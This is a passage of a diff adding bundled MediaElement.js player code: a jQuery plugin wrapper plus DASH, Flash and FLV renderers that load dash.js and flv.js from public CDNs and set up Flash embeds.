+		}
+	}, {
+		key: 'ended',
+		get: function get() {
+			return this.media.ended;
+		}
+	}, {
+		key: 'readyState',
+		get: function get() {
+			return this.media.readyState;
+		}
+	}, {
+		key: 'currentTime',
+		set: function set(time) {
+			this.setCurrentTime(time);
+		},
+		get: function get() {
+			return this.getCurrentTime();
+		}
+	}, {
+		key: 'duration',
+		get: function get() {
+			return this.getDuration();
+		}
+	}, {
+		key: 'volume',
+		set: function set(volume) {
+			this.setVolume(volume);
+		},
+		get: function get() {
+			return this.getVolume();
+		}
+	}, {
+		key: 'src',
+		set: function set(src) {
+			this.setSrc(src);
+		},
+		get: function get() {
+			return this.getSrc();
+		}
+	}]);
+
+	return DefaultPlayer;
+}();
+
+exports.default = DefaultPlayer;
+
+
+_window2.default.DefaultPlayer = DefaultPlayer;
+
+},{"3":3}],18:[function(_dereq_,module,exports){
+'use strict';
+
+var _window = _dereq_(3);
+
+var _window2 = _interopRequireDefault(_window);
+
+var _mejs = _dereq_(7);
+
+var _mejs2 = _interopRequireDefault(_mejs);
+
+var _player = _dereq_(16);
+
+var _player2 = _interopRequireDefault(_player);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+if (typeof jQuery !== 'undefined') {
+	_mejs2.default.$ = _window2.default.jQuery = _window2.default.$ = jQuery;
+} else if (typeof Zepto !== 'undefined') {
+	_mejs2.default.$ = _window2.default.Zepto = _window2.default.$ = Zepto;
+} else if (typeof ender !== 'undefined') {
+	_mejs2.default.$ = _window2.default.ender = _window2.default.$ = ender;
+}
+
+(function ($) {
+	if (typeof $ !== 'undefined') {
+		$.fn.mediaelementplayer = function (options) {
+			if (options === false) {
+				this.each(function () {
+					var player = $(this).data('mediaelementplayer');
+					if (player) {
+						player.remove();
+					}
+					$(this).removeData('mediaelementplayer');
+				});
+			} else {
+				this.each(function () {
+					$(this).data('mediaelementplayer', new _player2.default(this, options));
+				});
+			}
+			return this;
+		};
+
+		$(document).ready(function () {
+			$('.' + _mejs2.default.MepDefaults.classPrefix + 'player').mediaelementplayer();
+		});
+	}
+})(_mejs2.default.$);
+
+},{"16":16,"3":3,"7":7}],19:[function(_dereq_,module,exports){
+'use strict';
+
+var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };
+
+var _window = _dereq_(3);
+
+var _window2 = _interopRequireDefault(_window);
+
+var _mejs = _dereq_(7);
+
+var _mejs2 = _interopRequireDefault(_mejs);
+
+var _renderer = _dereq_(8);
+
+var _general = _dereq_(27);
+
+var _media = _dereq_(28);
+
+var _constants = _dereq_(25);
+
+var _dom = _dereq_(26);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+var NativeDash = {
+
+	promise: null,
+
+	load: function load(settings) {
+		if (typeof dashjs !== 'undefined') {
+			NativeDash.promise = new Promise(function (resolve) {
+				resolve();
+			}).then(function () {
+				NativeDash._createPlayer(settings);
+			});
+		} else {
+			settings.options.path = typeof settings.options.path === 'string' ? settings.options.path : 'https://cdn.dashjs.org/latest/dash.all.min.js';
+
+			NativeDash.promise = NativeDash.promise || (0, _dom.loadScript)(settings.options.path);
+			NativeDash.promise.then(function () {
+				NativeDash._createPlayer(settings);
+			});
+		}
+
+		return NativeDash.promise;
+	},
+
+	_createPlayer: function _createPlayer(settings) {
+		var player = dashjs.MediaPlayer().create();
+		_window2.default['__ready__' + settings.id](player);
+		return player;
+	}
+};
+
+var DashNativeRenderer = {
+	name: 'native_dash',
+	options: {
+		prefix: 'native_dash',
+		dash: {
+			path: 'https://cdn.dashjs.org/latest/dash.all.min.js',
+			debug: false,
+			drm: {},
+
+			robustnessLevel: ''
+		}
+	},
+
+	canPlayType: function canPlayType(type) {
+		return _constants.HAS_MSE && ['application/dash+xml'].indexOf(type.toLowerCase()) > -1;
+	},
+
+	create: function create(mediaElement, options, mediaFiles) {
+
+		var originalNode = mediaElement.originalNode,
+		    id = mediaElement.id + '_' + options.prefix,
+		    autoplay = originalNode.autoplay,
+		    children = originalNode.children;
+
+		var node = null,
+		    dashPlayer = null;
+
+		originalNode.removeAttribute('type');
+		for (var i = 0, total = children.length; i < total; i++) {
+			children[i].removeAttribute('type');
+		}
+
+		node = originalNode.cloneNode(true);
+		options = Object.assign(options, mediaElement.options);
+
+		var props = _mejs2.default.html5media.properties,
+		    events = _mejs2.default.html5media.events.concat(['click', 'mouseover', 'mouseout']),
+		    attachNativeEvents = function attachNativeEvents(e) {
+			if (e.type !== 'error') {
+				var _event = (0, _general.createEvent)(e.type, mediaElement);
+				mediaElement.dispatchEvent(_event);
+			}
+		},
+		    assignGettersSetters = function assignGettersSetters(propName) {
+			var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1);
+
+			node['get' + capName] = function () {
+				return dashPlayer !== null ? node[propName] : null;
+			};
+
+			node['set' + capName] = function (value) {
+				if (_mejs2.default.html5media.readOnlyProperties.indexOf(propName) === -1) {
+					if (propName === 'src') {
+						var source = (typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object' && value.src ? value.src : value;
+						node[propName] = source;
+						if (dashPlayer !== null) {
+							dashPlayer.reset();
+							for (var _i = 0, _total = events.length; _i < _total; _i++) {
+								node.removeEventListener(events[_i], attachNativeEvents);
+							}
+							dashPlayer = NativeDash._createPlayer({
+								options: options.dash,
+								id: id
+							});
+
+							if (value && (typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object' && _typeof(value.drm) === 'object') {
+								dashPlayer.setProtectionData(value.drm);
+								if ((0, _general.isString)(options.dash.robustnessLevel) && options.dash.robustnessLevel) {
+									dashPlayer.getProtectionController().setRobustnessLevel(options.dash.robustnessLevel);
+								}
+							}
+							dashPlayer.attachSource(source);
+							if (autoplay) {
+								dashPlayer.play();
+							}
+						}
+					} else {
+						node[propName] = value;
+					}
+				}
+			};
+		};
+
+		for (var _i2 = 0, _total2 = props.length; _i2 < _total2; _i2++) {
+			assignGettersSetters(props[_i2]);
+		}
+
+		_window2.default['__ready__' + id] = function (_dashPlayer) {
+			mediaElement.dashPlayer = dashPlayer = _dashPlayer;
+
+			var dashEvents = dashjs.MediaPlayer.events,
+			    assignEvents = function assignEvents(eventName) {
+				if (eventName === 'loadedmetadata') {
+					dashPlayer.getDebug().setLogToBrowserConsole(options.dash.debug);
+					dashPlayer.initialize();
+					dashPlayer.setScheduleWhilePaused(false);
+					dashPlayer.setFastSwitchEnabled(true);
+					dashPlayer.attachView(node);
+					dashPlayer.setAutoPlay(false);
+
+					if (_typeof(options.dash.drm) === 'object' && !_mejs2.default.Utils.isObjectEmpty(options.dash.drm)) {
+						dashPlayer.setProtectionData(options.dash.drm);
+						if ((0, _general.isString)(options.dash.robustnessLevel) && options.dash.robustnessLevel) {
+							dashPlayer.getProtectionController().setRobustnessLevel(options.dash.robustnessLevel);
+						}
+					}
+					dashPlayer.attachSource(node.getSrc());
+				}
+
+				node.addEventListener(eventName, attachNativeEvents);
+			};
+
+			for (var _i3 = 0, _total3 = events.length; _i3 < _total3; _i3++) {
+				assignEvents(events[_i3]);
+			}
+
+			var assignMdashEvents = function assignMdashEvents(name, data) {
+				if (name.toLowerCase() === 'error') {
+					mediaElement.generateError(data.message, node.src);
+					console.error(data);
+				} else {
+					var _event2 = (0, _general.createEvent)(name, mediaElement);
+					_event2.data = data;
+					mediaElement.dispatchEvent(_event2);
+				}
+			};
+
+			for (var eventType in dashEvents) {
+				if (dashEvents.hasOwnProperty(eventType)) {
+					dashPlayer.on(dashEvents[eventType], function (e) {
+						for (var _len = arguments.length, args = Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
+							args[_key - 1] = arguments[_key];
+						}
+
+						return assignMdashEvents(e.type, args);
+					});
+				}
+			}
+		};
+
+		if (mediaFiles && mediaFiles.length > 0) {
+			for (var _i4 = 0, _total4 = mediaFiles.length; _i4 < _total4; _i4++) {
+				if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[_i4].type)) {
+					node.setAttribute('src', mediaFiles[_i4].src);
+					if (typeof mediaFiles[_i4].drm !== 'undefined') {
+						options.dash.drm = mediaFiles[_i4].drm;
+					}
+					break;
+				}
+			}
+		}
+
+		node.setAttribute('id', id);
+
+		originalNode.parentNode.insertBefore(node, originalNode);
+		originalNode.autoplay = false;
+		originalNode.style.display = 'none';
+
+		node.setSize = function (width, height) {
+			node.style.width = width + 'px';
+			node.style.height = height + 'px';
+			return node;
+		};
+
+		node.hide = function () {
+			node.pause();
+			node.style.display = 'none';
+			return node;
+		};
+
+		node.show = function () {
+			node.style.display = '';
+			return node;
+		};
+
+		node.destroy = function () {
+			if (dashPlayer !== null) {
+				dashPlayer.reset();
+			}
+		};
+
+		var event = (0, _general.createEvent)('rendererready', node);
+		mediaElement.dispatchEvent(event);
+
+		mediaElement.promises.push(NativeDash.load({
+			options: options.dash,
+			id: id
+		}));
+
+		return node;
+	}
+};
+
+_media.typeChecks.push(function (url) {
+	return ~url.toLowerCase().indexOf('.mpd') ? 'application/dash+xml' : null;
+});
+
+_renderer.renderer.add(DashNativeRenderer);
+
+},{"25":25,"26":26,"27":27,"28":28,"3":3,"7":7,"8":8}],20:[function(_dereq_,module,exports){
+'use strict';
+
+Object.defineProperty(exports, "__esModule", {
+	value: true
+});
+exports.PluginDetector = undefined;
+
+var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };
+
+var _window = _dereq_(3);
+
+var _window2 = _interopRequireDefault(_window);
+
+var _document = _dereq_(2);
+
+var _document2 = _interopRequireDefault(_document);
+
+var _mejs = _dereq_(7);
+
+var _mejs2 = _interopRequireDefault(_mejs);
+
+var _i18n = _dereq_(5);
+
+var _i18n2 = _interopRequireDefault(_i18n);
+
+var _renderer = _dereq_(8);
+
+var _general = _dereq_(27);
+
+var _constants = _dereq_(25);
+
+var _media = _dereq_(28);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+var PluginDetector = exports.PluginDetector = {
+	plugins: [],
+
+	hasPluginVersion: function hasPluginVersion(plugin, v) {
+		var pv = PluginDetector.plugins[plugin];
+		v[1] = v[1] || 0;
+		v[2] = v[2] || 0;
+		return pv[0] > v[0] || pv[0] === v[0] && pv[1] > v[1] || pv[0] === v[0] && pv[1] === v[1] && pv[2] >= v[2];
+	},
+
+	addPlugin: function addPlugin(p, pluginName, mimeType, activeX, axDetect) {
+		PluginDetector.plugins[p] = PluginDetector.detectPlugin(pluginName, mimeType, activeX, axDetect);
+	},
+
+	detectPlugin: function detectPlugin(pluginName, mimeType, activeX, axDetect) {
+
+		var version = [0, 0, 0],
+		    description = void 0,
+		    ax = void 0;
+
+		if (_constants.NAV.plugins !== null && _constants.NAV.plugins !== undefined && _typeof(_constants.NAV.plugins[pluginName]) === 'object') {
+			description = _constants.NAV.plugins[pluginName].description;
+			if (description && !(typeof _constants.NAV.mimeTypes !== 'undefined' && _constants.NAV.mimeTypes[mimeType] && !_constants.NAV.mimeTypes[mimeType].enabledPlugin)) {
+				version = description.replace(pluginName, '').replace(/^\s+/, '').replace(/\sr/gi, '.').split('.');
+				for (var i = 0, total = version.length; i < total; i++) {
+					version[i] = parseInt(version[i].match(/\d+/), 10);
+				}
+			}
+		} else if (_window2.default.ActiveXObject !== undefined) {
+			try {
+				ax = new ActiveXObject(activeX);
+				if (ax) {
+					version = axDetect(ax);
+				}
+			} catch (e) {
+				
+			}
+		}
+		return version;
+	}
+};
+
+PluginDetector.addPlugin('flash', 'Shockwave Flash', 'application/x-shockwave-flash', 'ShockwaveFlash.ShockwaveFlash', function (ax) {
+	var version = [],
+	    d = ax.GetVariable("$version");
+
+	if (d) {
+		d = d.split(" ")[1].split(",");
+		version = [parseInt(d[0], 10), parseInt(d[1], 10), parseInt(d[2], 10)];
+	}
+	return version;
+});
+
+var FlashMediaElementRenderer = {
+	create: function create(mediaElement, options, mediaFiles) {
+
+		var flash = {};
+		var isActive = false;
+
+		flash.options = options;
+		flash.id = mediaElement.id + '_' + flash.options.prefix;
+		flash.mediaElement = mediaElement;
+		flash.flashState = {};
+		flash.flashApi = null;
+		flash.flashApiStack = [];
+
+		var props = _mejs2.default.html5media.properties,
+		    assignGettersSetters = function assignGettersSetters(propName) {
+			flash.flashState[propName] = null;
+
+			var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1);
+
+			flash['get' + capName] = function () {
+				if (flash.flashApi !== null) {
+					if (typeof flash.flashApi['get_' + propName] === 'function') {
+						var value = flash.flashApi['get_' + propName]();
+
+						if (propName === 'buffered') {
+							return {
+								start: function start() {
+									return 0;
+								},
+								end: function end() {
+									return value;
+								},
+								length: 1
+							};
+						}
+						return value;
+					} else {
+						return null;
+					}
+				} else {
+					return null;
+				}
+			};
+
+			flash['set' + capName] = function (value) {
+				if (propName === 'src') {
+					value = (0, _media.absolutizeUrl)(value);
+				}
+
+				if (flash.flashApi !== null && flash.flashApi['set_' + propName] !== undefined) {
+					try {
+						flash.flashApi['set_' + propName](value);
+					} catch (e) {
+						
+					}
+				} else {
+					flash.flashApiStack.push({
+						type: 'set',
+						propName: propName,
+						value: value
+					});
+				}
+			};
+		};
+
+		for (var i = 0, total = props.length; i < total; i++) {
+			assignGettersSetters(props[i]);
+		}
+
+		var methods = _mejs2.default.html5media.methods,
+		    assignMethods = function assignMethods(methodName) {
+			flash[methodName] = function () {
+				if (isActive) {
+					if (flash.flashApi !== null) {
+						if (flash.flashApi['fire_' + methodName]) {
+							try {
+								flash.flashApi['fire_' + methodName]();
+							} catch (e) {
+								
+							}
+						} else {
+							
+						}
+					} else {
+						flash.flashApiStack.push({
+							type: 'call',
+							methodName: methodName
+						});
+					}
+				}
+			};
+		};
+		methods.push('stop');
+		for (var _i = 0, _total = methods.length; _i < _total; _i++) {
+			assignMethods(methods[_i]);
+		}
+
+		var initEvents = ['rendererready'];
+
+		for (var _i2 = 0, _total2 = initEvents.length; _i2 < _total2; _i2++) {
+			var event = (0, _general.createEvent)(initEvents[_i2], flash);
+			mediaElement.dispatchEvent(event);
+		}
+
+		_window2.default['__ready__' + flash.id] = function () {
+
+			flash.flashReady = true;
+			flash.flashApi = _document2.default.getElementById('__' + flash.id);
+
+			if (flash.flashApiStack.length) {
+				for (var _i3 = 0, _total3 = flash.flashApiStack.length; _i3 < _total3; _i3++) {
+					var stackItem = flash.flashApiStack[_i3];
+
+					if (stackItem.type === 'set') {
+						var propName = stackItem.propName,
+						    capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1);
+
+						flash['set' + capName](stackItem.value);
+					} else if (stackItem.type === 'call') {
+						flash[stackItem.methodName]();
+					}
+				}
+			}
+		};
+
+		_window2.default['__event__' + flash.id] = function (eventName, message) {
+			var event = (0, _general.createEvent)(eventName, flash);
+			if (message) {
+				try {
+					event.data = JSON.parse(message);
+					event.details.data = JSON.parse(message);
+				} catch (e) {
+					event.message = message;
+				}
+			}
+
+			flash.mediaElement.dispatchEvent(event);
+		};
+
+		flash.flashWrapper = _document2.default.createElement('div');
+
+		if (['always', 'sameDomain'].indexOf(flash.options.shimScriptAccess) === -1) {
+			flash.options.shimScriptAccess = 'sameDomain';
+		}
+
+		var autoplay = mediaElement.originalNode.autoplay,
+		    flashVars = ['uid=' + flash.id, 'autoplay=' + autoplay, 'allowScriptAccess=' + flash.options.shimScriptAccess, 'preload=' + (mediaElement.originalNode.getAttribute('preload') || '')],
+		    isVideo = mediaElement.originalNode !== null && mediaElement.originalNode.tagName.toLowerCase() === 'video',
+		    flashHeight = isVideo ? mediaElement.originalNode.height : 1,
+		    flashWidth = isVideo ? mediaElement.originalNode.width : 1;
+
+		if (mediaElement.originalNode.getAttribute('src')) {
+			flashVars.push('src=' + mediaElement.originalNode.getAttribute('src'));
+		}
+
+		if (flash.options.enablePseudoStreaming === true) {
+			flashVars.push('pseudostreamstart=' + flash.options.pseudoStreamingStartQueryParam);
+			flashVars.push('pseudostreamtype=' + flash.options.pseudoStreamingType);
+		}
+
+		if (flash.options.streamDelimiter) {
+			flashVars.push('streamdelimiter=' + encodeURIComponent(flash.options.streamDelimiter));
+		}
+
+		if (flash.options.proxyType) {
+			flashVars.push('proxytype=' + flash.options.proxyType);
+		}
+
+		mediaElement.appendChild(flash.flashWrapper);
+		mediaElement.originalNode.style.display = 'none';
+
+		var settings = [];
+
+		if (_constants.IS_IE || _constants.IS_EDGE) {
+			var specialIEContainer = _document2.default.createElement('div');
+			flash.flashWrapper.appendChild(specialIEContainer);
+
+			if (_constants.IS_EDGE) {
+				settings = ['type="application/x-shockwave-flash"', 'data="' + flash.options.pluginPath + flash.options.filename + '"', 'id="__' + flash.id + '"', 'width="' + flashWidth + '"', 'height="' + flashHeight + '\'"'];
+			} else {
+				settings = ['classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"', 'codebase="//download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab"', 'id="__' + flash.id + '"', 'width="' + flashWidth + '"', 'height="' + flashHeight + '"'];
+			}
+
+			if (!isVideo) {
+				settings.push('style="clip: rect(0 0 0 0); position: absolute;"');
+			}
+
+			specialIEContainer.outerHTML = '<object ' + settings.join(' ') + '>' + ('<param name="movie" value="' + flash.options.pluginPath + flash.options.filename + '?x=' + new Date() + '" />') + ('<param name="flashvars" value="' + flashVars.join('&amp;') + '" />') + '<param name="quality" value="high" />' + '<param name="bgcolor" value="#000000" />' + '<param name="wmode" value="transparent" />' + ('<param name="allowScriptAccess" value="' + flash.options.shimScriptAccess + '" />') + '<param name="allowFullScreen" value="true" />' + ('<div>' + _i18n2.default.t('mejs.install-flash') + '</div>') + '</object>';
+		} else {
+
+			settings = ['id="__' + flash.id + '"', 'name="__' + flash.id + '"', 'play="true"', 'loop="false"', 'quality="high"', 'bgcolor="#000000"', 'wmode="transparent"', 'allowScriptAccess="' + flash.options.shimScriptAccess + '"', 'allowFullScreen="true"', 'type="application/x-shockwave-flash"', 'pluginspage="//www.macromedia.com/go/getflashplayer"', 'src="' + flash.options.pluginPath + flash.options.filename + '"', 'flashvars="' + flashVars.join('&') + '"'];
+
+			if (isVideo) {
+				settings.push('width="' + flashWidth + '"');
+				settings.push('height="' + flashHeight + '"');
+			} else {
+				settings.push('style="position: fixed; left: -9999em; top: -9999em;"');
+			}
+
+			flash.flashWrapper.innerHTML = '<embed ' + settings.join(' ') + '>';
+		}
+
+		flash.flashNode = flash.flashWrapper.lastChild;
+
+		flash.hide = function () {
+			isActive = false;
+			if (isVideo) {
+				flash.flashNode.style.display = 'none';
+			}
+		};
+		flash.show = function () {
+			isActive = true;
+			if (isVideo) {
+				flash.flashNode.style.display = '';
+			}
+		};
+		flash.setSize = function (width, height) {
+			flash.flashNode.style.width = width + 'px';
+			flash.flashNode.style.height = height + 'px';
+
+			if (flash.flashApi !== null && typeof flash.flashApi.fire_setSize === 'function') {
+				flash.flashApi.fire_setSize(width, height);
+			}
+		};
+
+		flash.destroy = function () {
+			flash.flashNode.remove();
+		};
+
+		if (mediaFiles && mediaFiles.length > 0) {
+			for (var _i4 = 0, _total4 = mediaFiles.length; _i4 < _total4; _i4++) {
+				if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[_i4].type)) {
+					flash.setSrc(mediaFiles[_i4].src);
+					break;
+				}
+			}
+		}
+
+		return flash;
+	}
+};
+
+var hasFlash = PluginDetector.hasPluginVersion('flash', [10, 0, 0]);
+
+if (hasFlash) {
+	_media.typeChecks.push(function (url) {
+		url = url.toLowerCase();
+
+		if (url.startsWith('rtmp')) {
+			if (~url.indexOf('.mp3')) {
+				return 'audio/rtmp';
+			} else {
+				return 'video/rtmp';
+			}
+		} else if (/\.og(a|g)/i.test(url)) {
+			return 'audio/ogg';
+		} else if (~url.indexOf('.m3u8')) {
+			return 'application/x-mpegURL';
+		} else if (~url.indexOf('.mpd')) {
+			return 'application/dash+xml';
+		} else if (~url.indexOf('.flv')) {
+			return 'video/flv';
+		} else {
+			return null;
+		}
+	});
+
+	var FlashMediaElementVideoRenderer = {
+		name: 'flash_video',
+		options: {
+			prefix: 'flash_video',
+			filename: 'mediaelement-flash-video.swf',
+			enablePseudoStreaming: false,
+
+			pseudoStreamingStartQueryParam: 'start',
+
+			pseudoStreamingType: 'byte',
+
+			proxyType: '',
+
+			streamDelimiter: ''
+		},
+
+		canPlayType: function canPlayType(type) {
+			return ~['video/mp4', 'video/rtmp', 'audio/rtmp', 'rtmp/mp4', 'audio/mp4', 'video/flv', 'video/x-flv'].indexOf(type.toLowerCase());
+		},
+
+		create: FlashMediaElementRenderer.create
+
+	};
+	_renderer.renderer.add(FlashMediaElementVideoRenderer);
+
+	var FlashMediaElementHlsVideoRenderer = {
+		name: 'flash_hls',
+		options: {
+			prefix: 'flash_hls',
+			filename: 'mediaelement-flash-video-hls.swf'
+		},
+
+		canPlayType: function canPlayType(type) {
+			return ~['application/x-mpegurl', 'application/vnd.apple.mpegurl', 'audio/mpegurl', 'audio/hls', 'video/hls'].indexOf(type.toLowerCase());
+		},
+
+		create: FlashMediaElementRenderer.create
+	};
+	_renderer.renderer.add(FlashMediaElementHlsVideoRenderer);
+
+	var FlashMediaElementMdashVideoRenderer = {
+		name: 'flash_dash',
+		options: {
+			prefix: 'flash_dash',
+			filename: 'mediaelement-flash-video-mdash.swf'
+		},
+
+		canPlayType: function canPlayType(type) {
+			return ~['application/dash+xml'].indexOf(type.toLowerCase());
+		},
+
+		create: FlashMediaElementRenderer.create
+	};
+	_renderer.renderer.add(FlashMediaElementMdashVideoRenderer);
+
+	var FlashMediaElementAudioRenderer = {
+		name: 'flash_audio',
+		options: {
+			prefix: 'flash_audio',
+			filename: 'mediaelement-flash-audio.swf'
+		},
+
+		canPlayType: function canPlayType(type) {
+			return ~['audio/mp3'].indexOf(type.toLowerCase());
+		},
+
+		create: FlashMediaElementRenderer.create
+	};
+	_renderer.renderer.add(FlashMediaElementAudioRenderer);
+
+	var FlashMediaElementAudioOggRenderer = {
+		name: 'flash_audio_ogg',
+		options: {
+			prefix: 'flash_audio_ogg',
+			filename: 'mediaelement-flash-audio-ogg.swf'
+		},
+
+		canPlayType: function canPlayType(type) {
+			return ~['audio/ogg', 'audio/oga', 'audio/ogv'].indexOf(type.toLowerCase());
+		},
+
+		create: FlashMediaElementRenderer.create
+	};
+	_renderer.renderer.add(FlashMediaElementAudioOggRenderer);
+}
+
+},{"2":2,"25":25,"27":27,"28":28,"3":3,"5":5,"7":7,"8":8}],21:[function(_dereq_,module,exports){
+'use strict';
+
+var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };
+
+var _window = _dereq_(3);
+
+var _window2 = _interopRequireDefault(_window);
+
+var _mejs = _dereq_(7);
+
+var _mejs2 = _interopRequireDefault(_mejs);
+
+var _renderer = _dereq_(8);
+
+var _general = _dereq_(27);
+
+var _constants = _dereq_(25);
+
+var _media = _dereq_(28);
+
+var _dom = _dereq_(26);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+var NativeFlv = {
+
+	promise: null,
+
+	load: function load(settings) {
+		if (typeof flvjs !== 'undefined') {
+			NativeFlv.promise = new Promise(function (resolve) {
+				resolve();
+			}).then(function () {
+				NativeFlv._createPlayer(settings);
+			});
+		} else {
+			settings.options.path = typeof settings.options.path === 'string' ? settings.options.path : 'https://cdnjs.cloudflare.com/ajax/libs/flv.js/1.3.3/flv.min.js';
+
+			NativeFlv.promise = NativeFlv.promise || (0, _dom.loadScript)(settings.options.path);
+			NativeFlv.promise.then(function () {
+				NativeFlv._createPlayer(settings);
+			});
+		}
+
+		return NativeFlv.promise;
+	},
+
+	_createPlayer: function _createPlayer(settings) {
+		flvjs.LoggingControl.enableDebug = settings.options.debug;
+		flvjs.LoggingControl.enableVerbose = settings.options.debug;
+		var player = flvjs.createPlayer(settings.options, settings.configs);
+		_window2.default['__ready__' + settings.id](player);
+		return player;
+	}
+};
+
+var FlvNativeRenderer = {
+	name: 'native_flv',
+	options: {
+		prefix: 'native_flv',
+		flv: {
+			path: 'https://cdnjs.cloudflare.com/ajax/libs/flv.js/1.3.3/flv.min.js',
+
+			cors: true,
+			debug: false
+		}
+	},
+
+	canPlayType: function canPlayType(type) {
+		return _constants.HAS_MSE && ['video/x-flv', 'video/flv'].indexOf(type.toLowerCase()) > -1;
+	},
+
+	create: function create(mediaElement, options, mediaFiles) {
+
+		var originalNode = mediaElement.originalNode,
+		    id = mediaElement.id + '_' + options.prefix;
+
+		var node = null,
+		    flvPlayer = null;
+
+		node = originalNode.cloneNode(true);
+		options = Object.assign(options, mediaElement.options);
+
+		var props = _mejs2.default.html5media.properties,
+		    events = _mejs2.default.html5media.events.concat(['click', 'mouseover', 'mouseout']),
+		    attachNativeEvents = function attachNativeEvents(e) {
+			if (e.type !== 'error') {
+				var _event = (0, _general.createEvent)(e.type, mediaElement);
+				mediaElement.dispatchEvent(_event);
+			}
+		},
+		    assignGettersSetters = function assignGettersSetters(propName) {
+			var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1);
+
+			node['get' + capName] = function () {
+				return flvPlayer !== null ? node[propName] : null;
+			};
+
+			node['set' + capName] = function (value) {
+				if (_mejs2.default.html5media.readOnlyProperties.indexOf(propName) === -1) {
+					if (propName === 'src') {
+						node[propName] = (typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object' && value.src ? value.src : value;
+						if (flvPlayer !== null) {
+							var _flvOptions = {};
+							_flvOptions.type = 'flv';
+							_flvOptions.url = value;
+							_flvOptions.cors = options.flv.cors;
+							_flvOptions.debug = options.flv.debug;
+							_flvOptions.path = options.flv.path;
+							var _flvConfigs = options.flv.configs;
+
+							flvPlayer.destroy();
+							for (var i = 0, total = events.length; i < total; i++) {
+								node.removeEventListener(events[i], attachNativeEvents);
+							}
+							flvPlayer = NativeFlv._createPlayer({
+								options: _flvOptions,
+								configs: _flvConfigs,
+								id: id
+							});
+							flvPlayer.attachMediaElement(node);
+							flvPlayer.load();
+						}
+					} else {
+						node[propName] = value;
+					}
+				}
+			};
+		};
+
+		for (var i = 0, total = props.length; i < total; i++) {
+			assignGettersSetters(props[i]);
+		}
+
+		_window2.default['__ready__' + id] = function (_flvPlayer) {
+			mediaElement.flvPlayer = flvPlayer = _flvPlayer;
+
+			var flvEvents = flvjs.Events,
+			    assignEvents = function assignEvents(eventName) {
+				if (eventName === 'loadedmetadata') {
+					flvPlayer.unload();
+					flvPlayer.detachMediaElement();
+					flvPlayer.attachMediaElement(node);
+					flvPlayer.load();
+				}
+
+				node.addEventListener(eventName, attachNativeEvents);
+			};
+
+			for (var _i = 0, _total = events.length; _i < _total; _i++) {
+				assignEvents(events[_i]);
+			}
+
+			var assignFlvEvents = function assignFlvEvents(name, data) {
+				if (name === 'error') {
+					var message = data[0] + ': ' + data[1] + ' ' + data[2].msg;
+					mediaElement.generateError(message, node.src);
+				} else {
+					var _event2 = (0, _general.createEvent)(name, mediaElement);
+					_event2.data = data;
+					mediaElement.dispatchEvent(_event2);
+				}
+			};
+
+			var _loop = function _loop(eventType) {
+				if (flvEvents.hasOwnProperty(eventType)) {
+					flvPlayer.on(flvEvents[eventType], function () {
+						for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
+							args[_key] = arguments[_key];
+						}
+
+						return assignFlvEvents(flvEvents[eventType], args);
+					});
+				}
+			};
+
+			for (var eventType in flvEvents) {
+				_loop(eventType);
+			}
+		};
+
+		if (mediaFiles && mediaFiles.length > 0) {
+			for (var _i2 = 0, _total2 = mediaFiles.length; _i2 < _total2; _i2++) {
+				if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[_i2].type)) {
+					node.setAttribute('src', mediaFiles[_i2].src);
+					break;
+				}
+			}
+		}
+
+		node.setAttribute('id', id);
+
+		originalNode.parentNode.insertBefore(node, originalNode);
+		originalNode.autoplay = false;
+		originalNode.style.display = 'none';
+
+		var flvOptions = {};
+		flvOptions.type = 'flv';
+		flvOptions.url = node.src;
+		flvOptions.cors = options.flv.cors;
+		flvOptions.debug = options.flv.debug;
+		flvOptions.path = options.flv.path;
+		var flvConfigs = options.flv.configs;
+
+		node.setSize = function (width, height) {
+			node.style.width = width + 'px';
+			node.style.height = height + 'px';
+			return node;
+		};
+
+		node.hide = function () {
+			if (flvPlayer !== null) {
+				flvPlayer.pause();
+			}
+			node.style.display = 'none';
+			return node;
+		};
+
+		node.show = function () {
+			node.style.display = '';
+			return node;
+		};
+
+		node.destroy = function () {
+			if (flvPlayer !== null) {
+				flvPlayer.destroy();
+			}
+		};
+
+		var event = (0, _general.createEvent)('rendererready', node);
+		mediaElement.dispatchEvent(event);
+
+		mediaElement.promises.push(NativeFlv.load({
+			options: flvOptions,
+			configs: flvConfigs,
+			id: id
+		}));
+
+		return node;
+	}
+};
+
+_media.typeChecks.push(function (url) {
+	return ~url.toLowerCase().indexOf('.flv') ? 'video/flv' : null;
+});
+
+_renderer.renderer.add(FlvNativeRenderer);
+
+},{"25":25,"26":26,"27":27,"28":28,"3":3,"7":7,"8":8}],22:[function(_dereq_,module,exports){
+'use strict';
+
